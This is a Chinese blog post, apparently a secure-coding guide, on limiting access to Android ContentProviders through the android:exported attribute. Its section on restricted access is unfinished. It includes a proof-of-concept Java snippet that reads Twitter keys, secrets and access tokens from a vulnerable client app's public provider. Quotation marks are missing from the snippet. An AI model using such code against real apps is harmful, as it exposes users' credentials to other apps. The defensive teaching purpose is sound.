android限制app的敏感ContentProvider的可访问性

ContentProvider类提供了与其他app管理和共享数据的机制。当与其他app共享provider的数据时,必须小心的实现访问控制,防止对敏感数据的非法访问。

限制ContentProvider的访问有三种方法:

Public

Private

Restricted access

 

[Public]

在AndroidManifest.xml文件中声明android:exported属性,ContentProvider就可以公开给其他app使用,Android API Level 16之前的版本,ContentProvider默认是public的,除非显式的声明android:exported=“false”,例如:

<provider android:authorities="com.example.mycontentprovider" android:exported="true" android:name="MyContentProvider"></provider>

如果ContentProvider被设置为Public,那么存储在ContentProvider里面的数据就可以被其他app访问到。因此,设计上必须保证只公开了非保密的信息。

 

[Private]

在AndroidManifest.xml文件中声明android:exported属性,可以将ContentProvider设置为Private的。从Android API Level 17及之后的版本,ContentProvider默认是Private的,不需要显式声明,例如:

<provider android:authorities="com.example.mycontentprovider" android:exported="false" android:name="MyContentProvider"></provider>

如果ContentProvider不需要与其他app共享数据,那么就在manifest文件中声明android:exported=“false”,需要注意的是,在API Level 8及之前的版本,即使你显式声明android:exported=“false”,对应的ContentProvider还是能够被其他app访问到。

 

[Restricted Access]

未完待续

 

[不符合安全要求的代码例子]

MovatwiTouch,一个Twitter客户端,使用ContentProvider来管理Twitter的用户的key,secret和access token,然而这个ContentProvider是Public的,这使得安装在同一台手机上的其他应用可以获取到这些敏感信息。

下面的AndroidManifest.xml文件中Provider声明没有指定android:exported属性,因此,在API Level 16之前,这个ContentProvider是公开的。


<provider android:authorities="jp.co.vulnerable.accountprovider" android:name=".content.AccountProvider"></provider>

[概念验证]

下面的代码展示了Public的ContentProvider漏洞如何被利用

// check whether movatwi is installed.
try {
  ApplicationInfo info = getPackageManager().getApplicationInfo(jp.co.vulnerable, 0);[cjl5]
} catch (NameNotFoundException e) {
  Log.w(TAG, the app is not installed.);
  return;
}
// extract account data through content provider
Uri uri = Uri.parse(content://jp.co.vulnerable.accountprovider);
Cursor cur = getContentResolver().query(uri, null, null, null, null);[cjl6]
StringBuilder sb = new StringBuilder();
if (cur != null) {
  int ri = 0;
  while (cur.moveToNext()) {
    ++ri;
    Log.i(TAG, String.format(row[%d]:, ri));
    sb.setLength(0);
    for (int i = 0; i < cur.getColumnCount(); ++i) {
      String column = cur.getColumnName(i);
      String value = cur.getString(i);
      if (value != null) {
        value = value.replaceAll([
], );
      }
      Log.i(TAG, String.format( %s: %s, column, value));
    }
  }
} else {
  Log.i(TAG, Can't get the app information.);
}

[解决方案]

AndroidManifest.xml文件中将ContentProvider显式声明为

android:exported=“false”
<provider android:authorities="jp.co.vulnerable.accountprovider" android:exported="false" android:name=".content.AccountProvider"></provider>



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值